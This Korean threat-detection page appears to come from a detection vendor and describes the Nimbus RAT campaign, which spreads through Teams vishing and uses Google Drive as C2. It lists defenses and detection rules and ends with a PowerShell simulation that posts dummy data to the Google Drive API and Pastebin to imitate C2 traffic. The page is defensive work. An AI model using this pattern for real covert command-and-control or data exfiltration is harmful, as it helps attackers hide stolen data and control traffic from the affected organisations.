Microsoft Teams와 Google Drive를 통해 전파되는 Nimbus RAT
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
위협 행위자들은 Microsoft Teams 음성 피싱과 Quick Assist를 사용하여 Nimbus RAT라는 Java 기반 원격 액세스 트로이 목마를 배포했습니다. 이 악성 코드는 Google 드라이브와 Google 시트를 명령 및 제어 채널로 사용하며 자체 번들된 OpenJDK 런타임을 포함합니다. 자격 증명 탈취를 위해 가짜 Windows 보안 프롬프트나 원시 CredUI API를 사용하여 사용자 비밀을 캡처합니다.
조사
eSentire의 위협 대응 부서는 메일 흐름 로그, 엔드포인트 원격 측정 데이터, Java 악성 코드의 정적 분석을 통해 완전한 침입 체인을 재구성했습니다. 이 캠페인은 이메일 폭탄, Teams 기반 피싱 콜, Quick Assist 원격 지원, Pastebin에 호스팅된 지침 시트, 페이로드 배포에 사용된 침해된 SharePoint 테넌트를 결합했습니다.
대응책
권장 방어책은 알려지지 않은 테넌트로부터의 외부 Teams 메시징 차단, Quick Assist 차단, 이메일 폭탄 활동 급증 경보, javaw.exe 비정상적인 위치에서의 실행 모니터링, 예상치 못한 프로세스에 의해 시작된 의심스러운 Google 드라이브 API 호출 탐지입니다.
대응
Nimbus RAT 활동이 감지되면 영향을 받는 시스템을 격리하고 관련된 모든 javaw.exe 프로세스를 종료하고, C:ProgramDataInboxCorePro 디렉토리와 관련된 시작 단축키를 제거하며, 전체 시스템 리이미지를 고려해야 합니다. 무단 Google 드라이브 애플리케이션 승인 식별을 위해 Google Workspace 감시 로그도 검토하십시오.
공격 흐름
탐지
의심스러운 위치에서의 Java 앱 실행 (프로세스 생성을 통해)
보기
자기 시작 위치에서 실행되는 의심스러운 이진/스크립트 (파일 이벤트를 통해)
보기
악용된 프로세스에 의해 확인된 GoogleApis 도메인 (dns_query를 통해)
보기
Google 명령 및 제어 유틸리티 활동 가능성 (프록시를 통해)
보기
Nimbus RAT 탐지를 위한 IOCs (HashSha256): Microsoft Teams 및 Google Drive를 사용하여 Java RAT을 배포하는 위협 행위자
보기
Google API 및 Pastebin의 의심스러운 사용 탐지 [Proxy]
보기
javaw.exe를 통한 Nimbus RAT 실행 및 정찰 명령 탐지 [Windows 프로세스 생성]
보기
Vishing 공격에서 Quick Assist 및 regedit.exe 실행 탐지 [Microsoft Windows 보안 이벤트 로그]
보기
시뮬레이션 실행
필수 조건: 원격 측정 및 기준선 사전 검사 통과해야 함.
논리적 이유: 이 섹션에서는 탐지 규칙을 트리거하도록 설계된 적군 기술 (TTP)의 정확한 실행을 상세히 설명합니다. 명령어와 내러티브는 반드시 식별된 TTP를 직접 반영하고 탐지 논리가 예상하는 정확한 원격 측정을 생성하도록 해야 합니다.
-
공격 내러티브 및 명령어:
위협 행위자는 이미 Nimbus RAT 바이너리를 통해 엔드 포인트를 손상시켰습니다. 은밀한 C2 채널을 확립하기 위해 RAT는 두 개의 아웃바운드 HTTP POST 요청을 발급합니다:- Google Drive API 호출 – 소형 JSON 페이로드를
https://www.googleapis.com/drive/v3/files?uploadType=media에 업로드하여 RAT의 ‘다운로드-페이로드’ 동작을 모방합니다. - Pastebin 붙여넣기 – base‑64‑인코딩된 명령 문자열을
https://pastebin.com/api/api_post.php에 게시하며, 공개 API 키를 사용합니다.
두 개의 요청 모두 PowerShell의
Invoke-WebRequest로 실행되어 방화벽 로그에도메인필드를 포함시킵니다 (googleapis.comandpastebin.com). 공격자는 정상 활동과 혼합하기 위해 손상된 사용자의 컨텍스트에서 명령을 실행합니다. - Google Drive API 호출 – 소형 JSON 페이로드를
-
회귀 테스트 스크립트:
# -------------------------------------------------------------- # Nimbus RAT C2 시뮬레이션 – 도메인 일치에 Sigma 규칙 트리거 # -------------------------------------------------------------- # 1. Google Drive API 모의 업로드 (인증 없음 – 도메인 원격 측정에 집중) $googlePayload = @{ name = "dummy.txt"; mimeType = "text/plain" } | ConvertTo-Json $googleUri = "https://www.googleapis.com/drive/v3/files?uploadType=media" try { Invoke-WebRequest -Uri $googleUri -Method POST -Body $googlePayload ` -ContentType "application/json" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Google Drive API로 모의 업로드 전송됨" } catch { Write-Warning "Google Drive 요청 실패 (샌드박스에서 예상됨): $_" } # 2. Pastebin 공용 API 게시 (개발자 키 필요 – 자리 표시자 사용) $pastebinKey = "YOUR_PUBLIC_API_KEY" # <-- 실제 테스트를 위한 유효한 키로 교체 $pastebinText = "echo 'C2에서 시뮬레이션된 명령'" $pastebinUri = "https://pastebin.com/api/api_post.php" $pastebinBody = @{ api_dev_key = $pastebinKey api_option = "paste" api_paste_code = $pastebinText api_paste_private = "1" } try { Invoke-WebRequest -Uri $pastebinUri -Method POST -Body $pastebinBody ` -ContentType "application/x-www-form-urlencoded" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Pastebin에 모의 명령 게시됨" } catch { Write-Warning "Pastebin 요청 실패 (샌드박스에서 예상됨): $_" } # -------------------------------------------------------------- # 시뮬레이션 종료 # -------------------------------------------------------------- -
정리 명령어:
# 시뮬레이션 중 사용된 임시 파일이나 변수 제거 Remove-Variable -Name googlePayload, googleUri, pastebinKey, pastebinText, pastebinUri, pastebinBody -ErrorAction SilentlyContinue Write-Host "[*] 정리 완료."